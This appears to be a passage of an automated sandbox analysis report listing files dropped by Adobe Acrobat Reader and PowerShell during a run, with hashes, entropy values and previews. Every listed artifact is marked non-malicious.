Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251865839235928
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJf+dPeUkwRe9:YvXKXf7YXJ4UTbdZBG28Ukee9
MD5:	847861C3AAE356195050DA97FA4FBEBB
SHA1:	4C2B0041B807E1314580629319E03D88979DF68C
SHA-256:	9737F613A5D6C0F995A97AB812267F6C16C4A158C972EE097AE21CAE45B42C1F
SHA-512:	FDD3E919EBF2411B30A7542A952E55CFB6A2A58B84A0791596E04A22D989B67EB439A45A31DD8A086FA0A5549AAECCD48491C1D991B1F7932ADA6E0772921539
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249617503285881
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfbPtdPeUkwRe9:YvXKXf7YXJ4UTbdZBGDV8Ukee9
MD5:	524945EE0C8D17388B7B06ABB34259C0
SHA1:	1083DDE28435B976CB5B0D5C9BA8022695FD8077
SHA-256:	84A8D2B598913EF8C27D16CA79B75390E6E11A2F8CCDD934241D8B4D860F56CF
SHA-512:	40F6C4823B8C52C1398AB13C1C36356AC34FB3F8BD44F68B0884AA908A93E80F0CC30F2B97BA91E83D67B64B3177067ACEAFDF1F91E7CEFEABD9D54E8B823A3B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2528218028534575
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJf21rPeUkwRe9:YvXKXf7YXJ4UTbdZBG+16Ukee9
MD5:	6DCFF073B3D7BFD71EC7217DF31BD5E7
SHA1:	F44FC5E4B0C77B03362ECDB2D07C19CC8100DC54
SHA-256:	7ACA93FDBEF2BE3C41B242DB2D5FC4E9D11236D5AF2EAF7528572319F9264C5C
SHA-512:	C016CA52F757B8890BF39257C82190B3D1487DB203D5D02D0F134C7C86CC7E9608790C9F1986A71D0FA880BD5E29C8632E3A3B9517FBA4CE5DD595070548EE31
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.656883657634126
Encrypted:	false
SSDEEP:	24:Yv6XfE54UXiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:YvOEmw8BgkDMUJUAh8cvMU
MD5:	553AF17297EF9CD133DED433E6E1669B
SHA1:	726D8494EF0AA949E909C938E77F8C976C2048F1
SHA-256:	793D8273A2743B285681FDD55D1D6E31496FE0CA18827D20140D489DCCF32ECC
SHA-512:	687CA31E01C70F5B826B05D3734188EEEA135DC1A3B04923B763DADE9928CBD28AEF714FB1CEF16556BBF196661349D7770A82F717606BCA0301BF512F51C1C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2293386554399515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfshHHrPeUkwRe9:YvXKXf7YXJ4UTbdZBGUUUkee9
MD5:	A6995DF051888EFC666801522106B36B
SHA1:	BD077FD800780CD800C3DA94DF9F64E478D6CF0C
SHA-256:	ECBC13F7A84443A2C19A5E59647CEACEF14DA9C0FECB787D698E532C3EBCD3DF
SHA-512:	B656AE9BFD1F64A65FAB1897A94E47FBE0088A7B8D2202C552D28F5FAABEA17761F35F902688248352179290233ACA84A3C13B78D74BE9AFE0AE5F2FD4F6C241
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.237430877016683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJTqgFCrPeUkwRe9:YvXKXf7YXJ4UTbdZBGTq16Ukee9
MD5:	B6B8AC48845042139372B6F196104567
SHA1:	233A2ACAF2547D1EA8EAEE8C5BA7F7788B1FDD78
SHA-256:	EC3CF28C29AA173E180B777ED40BA0EBCB85D06139BA85A6E02EC21DAD49F67C
SHA-512:	906CEFAE6EE60AC3942A420F51852D65BCDBBB5691C49BE0FD23F873C047D690F4A1328FFD1C35CA4AC4F05AD00E8C3D39C6A8F147FE9689FBEEDDF9AA1CF1C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148660819617132
Encrypted:	false
SSDEEP:	48:YIPMIXqhhFBoKPPXBKcvpjL+t3Jus9lrcEa:lPMjhhFB5HRTvB+t3JPlrTa
MD5:	2754BC150C08AF940F006DAEA29A90DE
SHA1:	76AB9E77F5E0E8B52598E4A041A2302E1ECBA0BE
SHA-256:	C49760EBF619EB3E7E47A581D8A1191DFD1E5A9FD6D39EC488E772145E9AB2DF
SHA-512:	3FB60990E1C5C619F5AB29147C3DB3AE08B50A806B43509E7D51854881567A49B9644C0C9C45BFD020E0C1495D3D77BBB8B199534D42240D1E7A155CB6FB9245
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"46dbb7698cc2d3c7250047f7c64af9ad","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736549651000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"832bbfe89f236c78bcebe8cb84618472","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736549651000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"71c61202aa7d43882f7a900772dd945c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736549651000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"459644467388697fa739f2b2749affad","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736549651000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"6d9be64931a89ff386492ccf75d4dba8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736549651000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"fc93960a48c5b379835279fb27731573","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3207010331378142
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y6q+EXSqXlC:TGufl2GL7msUKB0M0+Tb608Y6zrC6
MD5:	8063E0067B6190B4D25C0876C8CB9FB9
SHA1:	6EC1BA1235B856692CF635F643F838F17F972B8F
SHA-256:	66B21F856B77ACC2628274AEB6A6B6772634CEFA5AE03202A58EBEF9A14196EE
SHA-512:	BA0BF2BD718E2A118A6413367B0D0569040B342C01766AAC7CE0181318517413CCA8938A051F83A1578862E44C7EC489930FC2C46CB633042F1CB012FABD00F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7828360235556586
Encrypted:	false
SSDEEP:	24:7+tbl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y6q/EXSqXlyGKaiHqLhx/XYKQvc:7MlKB0M0+Tb608Y6qrGKDqFl2GL7msP
MD5:	4CFB5775381D5CA3A1DC6AC8078B5B87
SHA1:	3A36E69163E7405E469AA5A41428EDB8A77A0A55
SHA-256:	D984B670BF7199B28C9FD650A422897F68F766D42E180D005D50742FB31E288A
SHA-512:	60E78F839D0740B3B103B680B6BAFDC9E1027782C756BAB9DF0717BA557383DADE39C0878D11521E2C53CA78C5C2F72DA839812C61351DBE450522863B1F38C0
Malicious:	false
Preview:	.... .c......$............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgqA9ZqPGNNWo9QpL1WHdqhuzFxYyu:6a6TZ44ADEqA9AGNNx6pBazK
MD5:	3A86D7204D5284A4748DE1FB725876F8
SHA1:	EED386DD6CBA437309DCF8A5F5EF3C0978A0A1DD
SHA-256:	73CC26FFBA34C30E9CBEB5D9A3CB7E0355FC4FE12831731713DEB9D2476EA2C4
SHA-512:	5E2A1C83CCC74794CECF410DBAACE393F65F3853C6D54C83305B70B99F22FC963C8A47BCB95BA2D86E3BCBA2D215A9B4E9D76CD8A20C3D6AA36D251C3035A156
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8c72e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErt:Qw946cPbiOxDlbYnuRK+bDR
MD5:	EC8B9C97F47C5172B725ACD35FFCE41B
SHA1:	7EF0CE0641DB13E83E357C34D56735B47C214276
SHA-256:	5514086783FAEFA1ACD2990513BAB15BE76FAE450A01926890821A1164D2A40C
SHA-512:	597DEF44692A6705BB0BBD79D8B0E18C38449DC48C440D8570DEB8B3571F4A2E582343F79FC7B83527AA69502DAA8669C51FE42F0D914447C6514A24ECCC9FAD
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.5.4.:.0.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikdzyssf.pwn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kzzerxq1.c0b.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ot33u2_1ic7kqj_4r0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	7.982248541544684
Encrypted:	false
SSDEEP:	192:LMsEDwQPeLwUL6ttaPqe9PEaUw2/pvf+MzfnlN1/qrtnpfghOpF/z+xSCx6FDds9:LMsEhPSstoqDat2BvfDzfHgtn5b/zNF0
MD5:	F03BAF0F8C74323D5FD78441FDC13AD2
SHA1:	F43C39634F08B3D7D8CAF7B77B9AF36FE62E08FE
SHA-256:	73FD9BA851E06003E5327CFB88D82CB98B0C40D6410F4D01AD2FA0708BCDC339
SHA-512:	B33E4A3BA435EA73081877E4E6D4B6122A0CF125215A16C3A8BE7AFE84E6CD17A46E9FD3D4CC3345E268539BA311AA8F7813351F94EE60CB386BFEAB5B51ED25
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-54-02-626.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3589571112270376
Encrypted:	false
SSDEEP:	384:+ECRqIaPdSjtusVZZ/cVoe5gsvm7XMUJpC+6cE0HOZcEkflggH5dCtCfe+synpZJ:N2V
MD5:	68D1AF997D12E6E4A0DA65785E0E6CE8
SHA1:	F5944EB04EBFBB2BFECC9BA3443DCEE7AFED8B83
SHA-256:	608EDBA191C93C078BA575E2F02B58BA142C02F65F9A14BF41E8EC6BCC344D7D
SHA-512:	CB9B5CD306A48A30F6B9838F331CC6AEAD5281DA8AF4D88D5B563B7FDBBB7414FC6A6523745A0555706923AF3CE2B9EE1122452372E51B6AE417437F64E9F30C
Malicious:	false
Preview:	SessionID=6f78e701-d5b2-43f0-9bfa-e41a0345ec11.1736549642678 Timestamp=2025-01-10T17:54:02:678-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6f78e701-d5b2-43f0-9bfa-e41a0345ec11.1736549642678 Timestamp=2025-01-10T17:54:02:682-0500 ThreadID=8484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6f78e701-d5b2-43f0-9bfa-e41a0345ec11.1736549642678 Timestamp=2025-01-10T17:54:02:682-0500 ThreadID=8484 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6f78e701-d5b2-43f0-9bfa-e41a0345ec11.1736549642678 Timestamp=2025-01-10T17:54:02:682-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6f78e701-d5b2-43f0-9bfa-e41a0345ec11.1736549642678 Timestamp=2025-01-10T17:54:02:682-0500 ThreadID=8484 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395884048328447
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmE:EGvIcNYdS6E/8
MD5:	C62BBB1913550D4411E45BEE8C6F5831
SHA1:	29D6E19BB362609B5A81665F4FA39BAD2FD84083
SHA-256:	0AC1D6A2FB27CD9B166956915C0E122072D1D55CE6D91AC04BC66968FD8D34A4
SHA-512:	4B41D52B1FF067BCC83DBBF446510D2796C00C24B289E68A2B106A5A3B8A40A3D01257FB016019DF0A902EB3B19539439D7B8A85E9911DA32D4A73CFA1F81E39
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3663558c-acd8-4618-a4fe-562e56cee4d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
